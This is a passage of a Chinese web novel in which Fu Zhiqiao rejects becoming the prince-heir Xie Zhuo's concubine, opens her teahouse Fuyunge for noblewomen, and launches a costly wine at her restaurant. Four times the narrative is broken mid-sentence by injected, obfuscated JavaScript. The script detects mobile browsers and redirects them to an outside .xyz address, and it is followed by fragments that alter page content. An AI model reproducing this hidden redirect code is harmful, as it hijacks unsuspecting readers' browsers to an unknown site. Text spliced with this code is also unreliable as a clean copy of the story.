谢卓继续贴上去,用手轻轻的抚摸傅知乔的脸庞,“阿乔,对不起,我……” 他的语速很快,还透着一股坚决:“名分是她的,人是你的好不好?哪怕她进了门我也不会碰她,此生都不会碰她的,你才是我真正想娶的人。” 谢卓自然是希望傅知乔做他的妻子,可两人之间的身份差距太大了。 他本来都计划好了,找机会让柳太傅将傅知乔收为义女,到时候他就能以太傅之女的身份把她娶回家。 “只是一个名分而已,我们依然可以和以前一样,我对你的感情不会任何变化,我发誓!”谢卓不知所措,他只能尽力拖延,不让傅知乔离开他。 傅知乔注视着谢卓的眼睛,眼中闪过一丝不舍,指尖触碰他的脸颊,抚摸他的眉头,这个男人有一张完美到极致的脸,当初她就是被这张脸给迷惑住了。 谢卓对于她而言就像一颗吃了会上瘾的糖果,明明知道自己不该去沾染,不该去靠近,可最终还是没能抵住诱惑。 不舍得,不甘心,不想放弃又如何,这段感情里两人都付出了,也为彼此努力争取过了,可现实告诉她,他们两个不适合再继续走下去了。 明知道没有结果还要继续下去那是自欺欺人。 傅知乔叹出一口气,尽量以最平静的语气开口:“我不会让自己变成任何人的妾,即使是你,我也不会。” 谢卓想说些什么,傅知乔打断他:“今天你能给于家姑娘妻子的名分,往后你就能给她一个孩子,再往后……” 后面的话傅知没有再继续说下去。 承诺是虚的,可名分却是实打实的。 她不是什么天真无知的小姑娘,“除了妻子的名分我什么都能给你”这种话她才不会信。 一个男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774051|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果嘴上说爱你,实际上却不能给你一个名分,说明他并没有那么爱你,说明你随时可能被抛弃。 谢卓目光灼灼地凝视着她,有一种透不过气的憋闷盘旋在胸口。 “我说了会跟她退亲,难道我就这么不值得你信任?你只要名分不要我?名分就那么重要吗?”谢卓眼中浮现了一抹嘲弄之色,赌气一样抱怨着,身为世子的骄傲不允许他露出弱势,可他都如此低声下气的哀求了,为何她还狠心绝情想要离开? 傅知乔白了一眼谢卓,用像看傻子一样的目光看着他,她不敢相信这话是从他嘴里说出来的。 谢卓在她面前的形象一向是沉稳的,沉稳到她经常忘记了他的年龄,是啊!谢卓再怎么年少老成,可他终究是个未到弱冠之年的少年郎而已。 傅知乔说不清自己是什么感受,是失望?是心痛? 或许两者都有吧。 她甚至怀疑自己是不是一开始就做错了,她当初不应该被皮相迷惑,更不应该与谢卓有过多的牵扯。 谢卓的思想相对大魏人来说确实是开明的,可他终究和她是不一样的人,他骨子里是接受三妻四妾这种事的,而傅知乔不同,她做不到与别的女人共享一个丈夫。 只要人不要名分,在她这里是不可以的,谢卓是男人,年纪又轻,他根本不知道名分对女人的重要性。 傅知乔忍不住讥讽道:“堂堂世子爷肯弯腰屈就我这个平民,我应该感恩戴德才行,怎的这么不知好歹还妄想要名分。” 谢卓心口突地一跳。 傅知乔冷漠的声再度音响起,“可是,世子爷,我有说过要嫁给你吗?” 屋子里的温度瞬间降下来。 “阿乔,你不要胡说。”谢卓的眉毛眉头狠狠地拧了起来,脸色阴沉得能滴出墨汁。 见谢卓脸色难看,傅知乔呲笑一声:“胡说?你不会以为我在无理取闹吧?” 见谢卓还想说些什么,傅知乔当即反问道:“那我也可以嫁给别人吗?” “什么?”谢卓没有反应过来。 “既然你说名分不重要,那你能接受我先嫁给别人,然后私底下再与你在一起吗?谢卓,你愿意不要丈夫的名分与我在一起吗?” 傅知乔说这些话时语气很淡,眸光却很锐利,她的目光一直锁定在谢卓的脸上,不想遗漏他任何的表情变化。 谢卓一副被雷劈了的样子,不过一瞬他就明白了她的意思,急忙找补:“我不是那个意思……” 谢卓很少有这么狼狈的时候。 他不是想要拿身份贬低傅知乔,他只是感到很委屈,同时也很害怕,害怕自己真的留不住她。 谢卓觉得自己的心脏如同揪着一般疼,与于雅丹定亲不是他的意思。自己的婚事不由自己做主,心爱之人要离家自己,自己在她面前苦苦挽留也无济于事……谢卓头一回觉得王府世子的身份是一个累赘。 一想到傅知乔会跟别的男人成亲,光是想一想,他都觉得胸口憋慌,无法呼吸。 一时间,谢卓脑子里冒出了许多想法,他不是没有残酷的手段去击碎她的傲骨,让她低头,可他知道,自己不能这么做,一旦这么做了,便是彻底的将人从自己身边推开了。 沉默了好一会,谢卓不由地苦笑起来。 傅知乔早就说过自己此生不会为妾,以他对她的了解,这件事没有任何商量的余地。 她就是这样的奇女子,他早该知道的。 第一次见面时他就知道的不是吗?她打心底看不上娶三妻四妾的男人,这样的人在她眼里都是“脏男人”。 那现在,他也已经被她归到“脏男人”的行列中去了吗? 96. 筹备扶云阁 王府门口。 清辉院的管家通叔在大门来回踱步,着急的朝着门口的方向不停张望,终于,看到谢卓的身影后他赶紧带上笑脸迎了上去:“世子您回来了,王妃在等您。” 谢卓低头凝视了他一会。 通叔恭敬的站在一旁,低着头不敢直视他,额头上冒出的汗肉眼可见,世子爷经历过战场后,身上的气势越发迫人了,跟他对上一眼就能让人经不住的打寒颤。 谢卓也不想为难他,收回目光后朝着雨竹轩走去。 一路上,下人们看到谢卓回来了都想要上前跟谢卓贺喜,可看到他脸色布满了冰霜后,谁都不敢吭声了。 雨竹轩里,左慕蕊姿态优雅品着茶,看到谢卓来了后,她放下了茶杯装作什么都不知道,问:“怀砚,脸色怎么这么难看?是不是身体不舒服?” “儿子无事,多谢母妃关心,母妃找儿子所为何事?” “八月是大选,你与于家姑娘的婚期定在了十月末。”左慕蕊说完便看着谢卓,等待着他的答复。 谢卓脚步一顿,他转过身看向左慕蕊,听她说已经将事情都安排好了,那脸色……要多黑有多黑。 “她不要我了,您满意了吗?”谢卓嘴角勾起了一抹嘲讽的笑。 回答的牛头不对马嘴,可两人都知道是什么意思。 谢卓淡淡的收回视线,他是真的喜欢傅知乔,或许一开始他跟左慕蕊说非傅知乔不娶的话是存在一丝赌气的成分的,但是他现在是发自内心的想娶她。 年少就出去求学养成了他独立的性格,他有自己的思想,不是一个事事都听母亲的话的人。 所以,当他跟左慕蕊诉说自己已有心上人之后,左慕蕊反对的态度让他感到失望,自己看中的人不但没有得到母亲的认可,还受到打压,这激发了谢卓的叛逆之心,说出了非傅知乔不娶的话。 左慕蕊也有同样的感受。 自己辛苦怀胎十月生下来的儿子,现在居然为了一个外面的女人跟自己作对,还弃整个王府的名声于不顾?她无法接受,所以干脆就以王府的名声、孝道来向他施压,让他不能拒绝这门亲事。 母子两人此刻站在了彼此的对立面,他们心中都有一个想法:你越是反对我就越要去做,因为我要证明我才是对的! 可谢卓刚从傅知乔那里回来,整个人都是低气压,傅知乔要离开他这件事实让他感到挫败,他也不想再跟左慕蕊争辩些什么了。 面对谢卓的自嘲,左慕蕊语塞,脸上不自然的讪笑着,声音都不知觉低了几个度:“这是我们两家共同定下来的吉日,你也不能让外人觉得我们王府是忘恩负义之辈,是不是?” “母妃说什么便是什么吧!”谢卓丢下一句话头也不回地走了。 一阵风拂过,房中已经没了谢卓身影。 左慕蕊重重吐了口气,不管怎样,谢卓认了这亲门事倒是让她安心了些。 * 消沉了两日,傅知乔重新打起精神。 说谢卓定婚的事对她没有影响是假的,两世为人,因为出身低而遭到嫌弃还是她第一次经历,傅知乔苦涩一笑,原来被人嫌弃出身是这种感觉。 呵!既然改变不了出身,那就试着改变未来。 有钱或有势,她至少要占一个才行! 傅知乔撇开脑子里的杂念,坐在书桌前写扶云阁开业需要筹备的东西,银杏掌灯进来,“姑娘,夜深了,仔细着眼睛。” “你不必守夜了,回去休息吧。”将银杏打发走,傅知乔继续伏在桌前写计划书,一个时辰之后,她揉了下酸痛的脖子。 感情于她只是锦上添花,事业才是她存活在这个世界的根本。 谢卓定亲的消息如同一盆冷水泼下来,傅知乔突然就清醒了。 她没有再关注谢卓的亲事,而是把所有的精力都投入了自己的事业中去,她接下来的打算就是要把扶云阁开起来,与需要客流量的太白楼不同,扶云阁的位置要选交通方便但不喧闹的地方,不能让车水马龙影响店里的气氛。 在她筹备新店的这期间,傅知乔收到了周妙思的来信。 周妙思说她的婚期定在三月下旬,现在已经回青州筹备婚礼了,对于不能参加扶云阁开业她感到抱歉,不过她已经把扶云阁开业的消息告诉了秦惜玉,说要秦惜玉会代替她前来捧场。 京城大大小小的铺子不计其数,她一个毫无根基的外来户想要分一杯羹,没有点背景是不行的,现在她又与谢卓闹掰,彻底没了靠山。 必须要另寻出路。 开扶云阁一事,傅知乔很早就着手准备了,眼下不过是加速推进而已。 研究食谱、调教女侍……傅知乔整日忙进忙出的,晚上还在书桌前写个不停,余柔岚看着她满满都是心疼,给她送了一碗补汤来,“什么时辰了你还不睡?快去睡觉,有什么活明天再做。” 傅知乔还不想去睡,睁大眼睛看着余柔岚:“娘,我的开业计划马上就写好了。” 余柔岚盯着她把补汤喝完,然后强制收了她的笔:“开业也不急于这一天两天的,你看看自己瘦成什么样了?铺子开业哪有你的身子重要,听娘的话早点去睡!” 傅知乔拗不过,只好放下笔去睡觉了。 有青州现成的成功模式在前,京城这边只需要照搬就行。 当初太白楼开业的时候,她只是低调的揭了红布,并没有以老板出现在众人面前,这回扶云阁开业,她要以傅知乔的名义出现在众人面前。 扶云阁的开业现场并没有太白楼那般大的阵仗,门口摆了两个大花篮,新的牌匾已经挂上了,随着红绸被拉开,扶云阁正式营业了。 扶云阁分为上下两层,上层暂时没有开放,目前一楼的空间已经够用了。 一进来就看到一扇拱门,左边是掌柜柜台,再往里走就是整齐摆放桌椅了,每个桌椅之间都用屏风或者帷幔隔成独立的小隔间,充分保障客人的隐私。 傅知乔在装修时完全不吝啬钱财,将整个扶云阁修的宽敞有大气。 开业第一天,她又没怎么做宣传,所以首批客人只有秦惜玉和她的两个小姐妹。 秦惜玉:“傅姐姐,早就听妙思姐姐说过扶云阁了,今日我总算能体验到了。”,说着,她示意身后的丫鬟把贺礼拿上来。 秦惜玉很热情,但她的两个小姐妹的态度就有些微妙了,她们很不理解秦惜玉为什么要跟一个商户女以姐妹相称,这不是平白拉低了自己的档次吗? 不过,来都来了,看在秦惜玉的面子上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803909|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们俩也微笑着跟傅知乔点头致意。 傅知乔亲自接待了她们,众人入座之际,门口的侍者进来:“姑娘,外面有个男人说自己奉命来祝您开张大吉,还带了贺礼。” “什么?”傅知乔有点疑惑。 来人是盛安,他朝傅知乔开口:“小人奉世子之命,恭贺傅姑娘开业大吉!”说着他示意两个小厮打开了盒子,里面装的是一棵红珊瑚制成盆景摆件,大约有成人的手臂那么高,珊瑚树枝错落有致,栩栩如生,莹润的光泽犹如火焰一般艳丽,寓意着红红火火的生意。 盒子里面还有贺词:“客似云来,日进无疆。” 看字迹应该是谢卓写的。 盛安生怕她不收,把东西送到后立马就走了,傅知乔没办法,她还有客人要招待,没时间想怎么处理这东西,只好让人先把盒子收了起来。 重新回到隔间里。 秦惜玉点了一盅甜酒酿,这是周妙思极为推荐的,她自然要尝尝味道,她的两个小姐妹则是点了川贝雪梨汤和杏仁奶炖燕窝。 “这杏仁奶是何物?我听说过牛奶羊奶,还未曾没听说杏仁奶呢。”秦惜玉虽然对甜酒酿感兴趣,但杏仁奶也引起了她的兴趣。 “杏仁奶自然是由杏仁制成。” 杏仁奶虽然不稀奇,但在大魏实属是个新鲜吃法。 将杏仁提前浸泡三个时辰,剥掉外皮倒入石磨中碾压,最后将磨好的杏仁糊过滤掉渣即可,磨好的杏仁奶细腻如玉,香味独特。 食物制作的过程是秘方,傅知乔点到即止,秦惜玉也明白她的意思,不再追问。 傅知乔介绍道:“杏仁奶具有益气生津、润肺止咳之效果,能使皮肤更白,更加红润光泽。”除此之外,杏仁还富含蛋白质、维生素,有益于皮肤和免疫系统健康等诸多优点,不过这些词语说了她们也不明白,她们只需要知道杏仁奶是养颜美容的好东西就行了。 听她一介绍,秦惜玉坐不住了:“给我也来一盅!” 另一个点了川贝雪梨汤的贵女也喊道:“我也要!” 用杏仁奶炖出来的燕窝吃起来细腻爽滑,清甜中还带有一丝丝坚果的香气,口感十分微妙。 “这种吃法我还是第一次呢。”秦惜玉吃完还有些意犹未尽。 吃到了好吃的东西,还具有美容养颜之效,秦惜玉和两位贵女都对这趟扶云阁之行很满意。 一开始,她们是冲着傅知乔能让人变美的手艺来的,来了以后发现扶云阁里的养颜粥花样多、味道好,除了提供养颜美容的汤粥之外,还有点心、茶饮,吃好喝好后还有专人帮忙改妆容、教化妆手法……对她们来说,没有比这里更适合消磨时光的地方了。 有周妙思和秦惜玉两个活生生的例子,傅知乔让人变美的能力已经积攒出一些口碑了,至少在秦惜玉那群贵女圈子里已经出名了。 高门大户里的夫人小姐,谁手上没捏着几个美容养颜的方子,她们之所以愿意来扶云阁消费就是图个新鲜。 空闲时和姐妹们来这里喝喝养颜粥,学学化妆技巧,岂不乐哉? 当然,傅知乔特不指望用扶云阁赚多少钱,扶云阁是她与贵女们建立联系的地方,具有重要的战略地位。 她赚的不是流量,而是口碑。 97. 红枣百合乳茶 傅知乔忙扶云阁的事物,没空想七想八,谢卓这边的日子就没有那么痛快了。 被傅知乔毫不留情的拒绝后,碍于面子谢卓一直忍着不去找她。他的心中还抱有一丝期待,期待傅知乔只是一时生气,期待她生完气会来找自己,可那女人心是真的狠,他不主动去找她,她便真的不再理他。 心中那股子酸酸涩涩之意又涌了上来,谢卓努力控制自己的情绪,直到听说她的新铺子要开业了,他才忍不住让盛安送去了贺礼。 “她怎么说?” “傅姑娘什么也没说。”盛安有点为难,他知道这不是世子想听到的话。 谢卓顿了顿,又问:“贺礼她收了吗?” “收了。”盛安可不敢说实话,难道要把自己害怕傅姑娘不收贺礼,把东西送到后立马就走了的事告诉世子吗? “那就好。” 这几日谢卓心绪不佳,作为妹妹的谢怀薇哪能注意不到,她好几次看到谢卓,他的眉宇间满是纠结的神色。 本来定亲是天大的喜事,哥哥为何这幅模样? 她隐隐约约猜到谢卓对这门亲事是不满意的,为了搞清楚原因,她偷听了左慕蕊和章嬷嬷的讲话,知道自家哥哥的心上人是一个名叫傅知乔的商户女。 谢怀薇很好奇,到底是怎样一个姑娘能让她哥哥如此心意难断? 贵女圈子的消息都是相通的。 京城里新开了一个铺子,卖的是些美容养颜的汤粥,味道好效果好的名气很快就传了出来。 扶云阁的老板是个女子,姓傅……不会这么巧吧?谢怀薇心里冒出一个大胆的猜测,这个傅老板莫不是哥哥的心上人? 两人都姓傅,都是商户,基本信息都对得上。 女人的第六感有时候就是这么神奇。 谢怀薇决定亲自去看看,正好安国公府的唐玉樱写了帖子邀她出府玩一玩,谢怀薇愉快应邀,之前王府陷入流言,她已经好长一段时间没有出府了。 谢怀薇的目标很明确,出府后直接奔向扶云阁。 门口站着两个女侍鞠躬行礼,把人迎进店里,唐玉樱打量着扶云阁内部,看装修布置大气雅致,来往的客人也是不少,心里的期待感一下子就提了上来。 女侍恭敬地把两人引导到座位上,把菜单奉上:“姑娘,请点单。” 唐玉樱刚想点单就听到了秦惜玉的声音,她抬眼望去,发现秦惜玉就坐在她隔了一桌的位置上。 秦惜玉也注意到了这边动静,她看到谢怀薇在后主动过来打招呼,行了个福礼:“郡主安好。” 两个人互相行礼致意,谢怀薇是亲王的女儿,生下来就是郡主的身份,与身为世子的谢卓不同,谢怀薇是没有封号的,除她了出身要比一般千金小姐高贵些之外,其他的倒也没什么不同。 唐玉樱看到秦惜玉在这也很意外,用略带火药味的语气:“你怎么也在这?” 秦惜玉也不示弱:“怎么,这儿就许你来?”既然唐玉樱的态度不好,她也没必要热脸相贴。 侍郎府虽比不上安国公府尊贵,但秦惜玉可不是任人拿捏的性子,更何况,小辈之间争辩几句,完全影响不到家族间的交情。 两家虽没有什么恩怨,但两个姑娘之间却存在一些摩擦。 原因是两家意外请到过同一个教女红的师傅,唐玉樱不擅此道,绣出来的东西始终无法让女红师傅满意,而秦惜玉却受到女红师傅的夸赞。 唐玉樱被压了一头很不服气,所以每次见到秦惜玉都没有什么好脸色,她本来还想说什么,但身后的谢怀薇扯了扯她的袖子,示意她冷静。 唐玉樱呼出一口气:“本小姐不跟你一般计较。” 傅知乔听到动静后走了出来。 秦惜玉看到傅知乔后非常高兴:“傅姐姐,你来啦!” 扶云阁在秦惜玉心中的地位已经超过了一众首饰衣服铺子,所以时不时就会过来喝一碗甜汤,既能满足口腹之欲又有美容养颜的效果,这样好的地方别处可没有。 唐玉樱转头看到傅知乔,一脸诧异:“怎么是你?” 傅知乔看到唐玉樱倒是很淡定,礼貌的跟她行礼打招呼:“唐姑娘。” “这铺子是你开的?” 傅知乔点点头。 扶云阁的老板来了?谢怀薇听到傅知乔的声音后心里也是一阵激动,是她吗?她就是哥哥的心上人? 谢怀薇转过身,映入眼帘的是一双灿然的秋水明眸,眉如柳弯,双颊边的红扉若隐若现,晶莹的玉坠耳环在她耳下微微摇曳,头上仅簪了一支玲珑玉簪,简洁却清新脱俗。 她安静着站在那里,舒眉浅笑,如春日阳光般直照进人的心里。 谢怀薇一惊,她脑中预想过傅知乔会是一个美貌的女子,但此刻亲眼所见,她还是对傅知乔的美貌感到惊叹。 唐玉樱也没准备将谢怀薇介绍给傅知乔,在她看来,她们和傅知乔并不是一个世界的人,没有认识的必要,所以傅知乔并不知道谢怀薇的身份。 谢怀薇一直盯着傅知乔看,傅知乔感受到她的视线后,冲着她微微一笑。 谢怀薇脸颊一红,她可真好看! 原来她就是哥哥的意中人。 没错,恐怕也只有这般容貌的女子才会让哥哥难以忘怀。 “既然是你的店,那么就由你来给我推荐几道吃食吧。”唐玉樱的口气跟使唤吓人一般,秦惜玉听了很不快,想回击她两句。 看到秦惜玉上前一步要去理论的样子,傅知乔立马阻止了。 唐玉樱的性子她当初在花朝会时就领教过了,唐玉樱是被骄纵惯了的大小姐,一般人她都不放在眼里,更何况傅知乔还是平民商户,两人的身份根本不在一个层次上,被她看不上也很正常。 唐玉樱虽然骄纵了些,但也不是不讲理的人,傅知乔自认为能摸到一点她的性子,她上上下下打量着唐玉樱。 唐玉樱被盯得发毛:“你、你干嘛?” 傅知乔:“唐小姐最近是不是睡眠不好?” 唐玉樱惊讶的看了她一眼,那眼神就像在说你怎么知道? 这人会酿美容酒,会做养颜汤,还会给人看病? 秦惜玉一听也惊讶的来看着她,马上问道:“傅姐姐,你还会医理?” 傅知乔:…… 当然不会,她又不是大夫,她只是了解睡眠不足的症状而已。 唐玉樱的脸色看起来暗沉无光,即便她已经用胡粉遮盖过了,但眼底还是有一圈淡淡的黑色,这是典型的缺少睡眠症状。 睡眠不足会使身体处于疲惫状态,肌肤得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849938|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到充足的休息就会变得晦暗苍白,严重者皮肤干燥脱屑,或者油脂过量分泌导致油光满面。 唐玉樱很明显是前者。 傅知乔:“唐姑娘目前这状态,我推荐你喝红枣百合乳茶。红枣能养血补气,美容养颜,百合宁心安神、健脾养胃,二者结合在一起可抑制失眠多梦。” 唐玉樱还没有从震惊中回过神来,见傅知乔说辞一套一套的,她机械般的点了点头。 红枣百合乳茶的做法也很简单,红枣去核放到锅中炒制加入红糖熬到粘稠状就行了,红枣膏是事先准备好的,只需在生牛乳中加入红枣膏和百合炖煮即可。 牛乳也是农庄一大早送过来的,新鲜着呢! 不一会,女侍就把红枣百合乳茶端了上来。 傅知乔做出一个邀请的手势:“唐小姐,尝尝吧!” 唐玉樱自然是相信她说的话,青梅酒的效果她已经见识到了。 其实一开始,她也是不相信青梅酒能养颜的,可喝了一段时间后她发现青梅酒确实有效果,便也不再怀疑傅知乔说的话。 闻了闻红枣百合乳茶的味道,唐玉樱点头说道:“香倒是挺香的。”话音一落她拿起勺子浅浅的喝了一口,霎时间眼眸骤发亮,不可置信的看着傅知乔:“好喝!” 谢怀薇眨巴着眼睛,看着唐玉樱的反应后她也赶紧端起自己那份喝了一口,从她笑弯了眼睛中可以看出她对这道红枣百合乳茶也是满意的。 傅知乔:“两位请慢用!” 傅知乔走后,唐玉樱和谢怀薇两个人一人端着一盅红枣百合乳茶喝着,想着刚才唐玉樱和傅知乔说话的态度,谢怀薇好奇的跟唐玉樱打听傅知乔的事。 “怎么,你对她感兴趣?” “不是,我只是觉得那位傅老板看起来与我们年岁相仿,怎么会出来抛头露面做生意呢?” “她也是挺不容易的,据我所知,她是家中的独女,父亲出意外去世了,她跟她娘孤儿寡母的只能靠做生意维持生活了。” 谢怀薇追问:“玉樱姐姐你怎么会知道这么多?” 唐玉樱抿了两口乳茶,回答道:“我去年在青州参加花朝节时见过她。” 谢怀薇点点头,心想难怪母妃如此反对哥哥跟傅姑娘在一起,出身如此平凡,现在又沦为了商户……商户可是比农户还要差一级的存在,王府是不可能接受这样的女子的。 另一边,秦惜玉也对傅知乔和唐玉樱的关系有几分好奇:“傅姐姐认识唐玉樱?” 傅知乔点点头,“有过一面之缘。” 秦惜玉明白了,一面之缘说明她们并没有什么交情,除了周妙思之外,自己才是傅姐姐在京城关系最好的朋友。于是,她缠着傅知乔问:“傅姐姐,红枣百合乳茶是新出的吗?上次来我怎么没看到?” “是新出的。” “我也想喝。”秦惜玉撒娇。 “给你喝。”傅知乔觉得有点好笑,小女生的占有欲来的真是有点莫名其妙。 女侍马上给她端来了一份。 “下次扶云阁出新品,你一定要记得差人去通知我一声哦!” “好!” 扶云阁的作用是显而易见的,已经有不少夫人小姐来这里消费过来,尤其是秦惜玉,她已经成为了扶云阁的忠实客户。 98. 醉诗仙开卖 扶云阁里的生意渐渐起来了,虽说还没有到日进斗金的地步,但也不再是入不敷出的状态了,傅知乔的一颗心落回到了实处。 掐指一算,醉诗仙也到了出窖的时候。 前段日子傅知乔就在准备这事了。 她一边写信给文山让王奇送一百坛醉诗仙到京城来,一边让德福空出时间来,在太白楼里收拾一间库房,用于存放醉诗仙。 随着天气升高,路上的积雪大多已经融化,没有了积雪的影响,车队很快就能到达京城。 “王奇何时能到京城?” 程业玄回答:“约莫明日午时就到。” 傅知乔点点头,吩咐程业玄去城门接他,然后又问德福:“库房都准备好了?” “准备好了!” 第二天午时,王奇带着运输队出现在城门口,特级太白酒如今在京城是一坛难求的景象,相信醉诗仙在京城也一定能取得好成绩。 彭高飞知道了她要推出新酒的计划,立即过来询问是否能将醉诗仙放在彭家酒肆里售卖,还说自己愿意出高价。但是这一提议被傅知乔拒绝了,醉诗仙销售渠道她打算抓在自己手里,太白酒已经有了一定的名气,她相信,醉诗仙的上市绝对能将太白楼推上一个新台阶。 很快,太白楼的酒水单上就多添了一个名字。 醉诗仙?这是何物? 德福热情推销:“醉诗仙是咱们太白楼的镇楼之酒!” 众人一听都来了兴趣,抓着德福一个劲的追问,到底是什么样的好酒才能当得起镇楼之酒这个名头? 经常来太白楼吃饭的客人们自然是知道特级太白酒的存在的,不过它不好买,很多人只闻其名不知其味。 现在听说有一种比特级太白酒还要好的酒出现了,他们自然是想尝尝味道的。 醉诗仙的规格与太白酒不同,太白酒是一坛四斤,在酒楼里点太白酒是一壶一壶上的,而醉诗仙一坛只有两斤。 五十两一坛,这个价格是傅知乔深思熟虑过的。 太白酒的定位相对大众化,特级太白酒的定位是稀缺性,醉诗仙则是完完全全走的高端路线。 定价越高的东西,反而越吸引人。 京城是天子脚下,最不缺的就是达官贵人和各路财主富豪,富豪们通过昂贵的物品来来彰显自己的身份地位,在他们眼里,用的东西越珍贵则越能体现自己出自己的身份。 五十两一坛的醉诗仙,刚好能满足这群人的需求。 韩非拿到酒水单,脸色变了变,咂舌道:“五十两银子一坛酒,莫不是黑店?” 负责接待他的小二嘴角抽了抽,笑着回答:“客官说笑了,我们的醉诗仙绝对值这个价!客官想要尝试一下吗?” “哦?”韩非怀疑这小二是在诓他。 “客官可听说过一碗喝倒一个大汉的太白酒?醉诗仙可是要比太白酒还厉害百倍!”小二眉头微微上挑,一脸的自豪之色。 “呦!你这口气挺大!”很显然,韩非并不相信小二说的话。 韩非今天是第一次来太白楼,他是偶然听人说起六合巷开了一家酒楼,里面的酒水让人喝过就难以忘记,作为个爱酒之人,他决定前来探个究竟。 小二神色未变,继续为他讲解:“可不是小人胡诌,咱们家的醉诗仙从酿造到窖藏再到出窖,整个过程至少需要三五年,绝对是酒中精品,您试一试就知道了!” “哼,那就上一坛醉诗仙让爷瞧瞧,不过,丑话我可说在前头,你这酒要是不值五十两银子,我就去报官封了你们这家黑店!” 韩非露出了几分凶相,他本来是冲着太白酒的名头来的,只是刚好碰上太白楼推出新酒,为了验证传言是否属实,他就顺势点了一坛醉诗仙。 韩非成了太白楼第一个点醉诗仙的客人,周围几桌的客人听到有人点了最贵的醉诗仙后都默默地关注起来。 德福亲自捧着酒坛过来招待他:“您是第一个在太白楼里喝醉诗仙的客人。” “是吗?” 掌柜亲自倒酒招待,这排面给的足足的,在众人满是艳羡的目光下,韩非挺直了腰杆。 开坛后,醉诗仙霸道的酒香直冲肺腑,就凭这酒香,醉诗仙绝对值五十两银子! 酒香慢慢弥漫了开来,旁边的其他客人也皱起鼻子嗅了嗅,然后一脸的呆若木鸡,这么浓郁的酒香,还是生平第一次闻到。 韩非用力咽了口唾沫,虽然在此之前他并没有喝过太白楼里的酒,但是仅仅从浓郁的酒香上,他就可以断定醉诗仙绝对比他以往所喝过酒要好上百倍。 韩非端起酒杯,轻轻一嗅,感觉一种不可言状的美妙感从鼻孔直达大脑,醉诗仙的酒液极为澄澈,甚至比平日里喝的水还要更加通透纯净。 冰凉的酒液慢慢流过喉咙进入到腹部,带来宛如岩浆般的灼热感。 闭上双眼,韩非静静的感受身体上的变化。 这哪里是酒? 醉诗仙一下肚,简直就像是在一堆干柴中扔进了一个火引子,韩非顿时感到身体暖和了,甚至还热到想脱去外衣。 韩非咂咂嘴:“这酒、这酒……” 这酒怎么了?旁边的人十分好奇,还有耐不住性子的,追问他:“韩公子,这酒到底如何,你倒是说话呀!” “此酒前所未有,堪称极品!” 韩非连喝了两口之后,不由感慨道:“酒味香醇均匀,入口绵柔下肚却很强烈,回味绵长,这滋味太妙了!” 在一旁的德福听到这个评价后也放松下来,他之前一直是提着一口气的,生怕醉诗仙酒劲太大不符京城人的口味,现在他可以彻底放下心来了。 招待好韩非,德福想去其他桌看一看还有没有人点醉诗仙。 “掌柜的!”门口传来了呼声。 德福看见他起身迎了出去,打趣道:“齐镖头,好久不见,今儿个什么风把你给吹来了?” 齐大虎双手抱拳回应德福,“掌柜的,你是不知道,在外面走镖的这段时间里,最让我惦记的就是你们太白楼的这口酒了。太白楼里的酒在别处很难喝到,我齐大虎走南闯北这么多年,只有你们太白楼的酒水时时刻刻都让人惦记着。” 刚一落座齐大虎就急不可耐的问道:“听说今天有新酒可以喝?” 德福笑着点点头,递上酒水单。 齐大虎看着酒水单子多出来的名字,问:“醉诗仙?这是新酒?” 齐大虎是太白楼的熟客,连酒后免责书都签过了。 现在太白楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889718|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了新酒,他自然是要尝一尝的,他当初就是在太白楼里靠着酒量一战成名,听闻现在出了一种更好更烈的醉诗仙,他怎么能错过? 自从他好酒量、真硬汉的形象打出去后,连续接了不少走镖的单子,五十两一坛的醉诗仙虽然不便宜,但对他而言是能消费的起的。 太白楼的酒与别处不同,先闻后尝才是正确步骤,齐大虎已经很熟悉这里的喝酒流程了,他在酒杯上轻轻扇动让酒气飘来,不愧是醉诗仙,只闻酒味就有一种通体舒畅之感,这让齐大虎对醉诗仙抱有很高的期待。 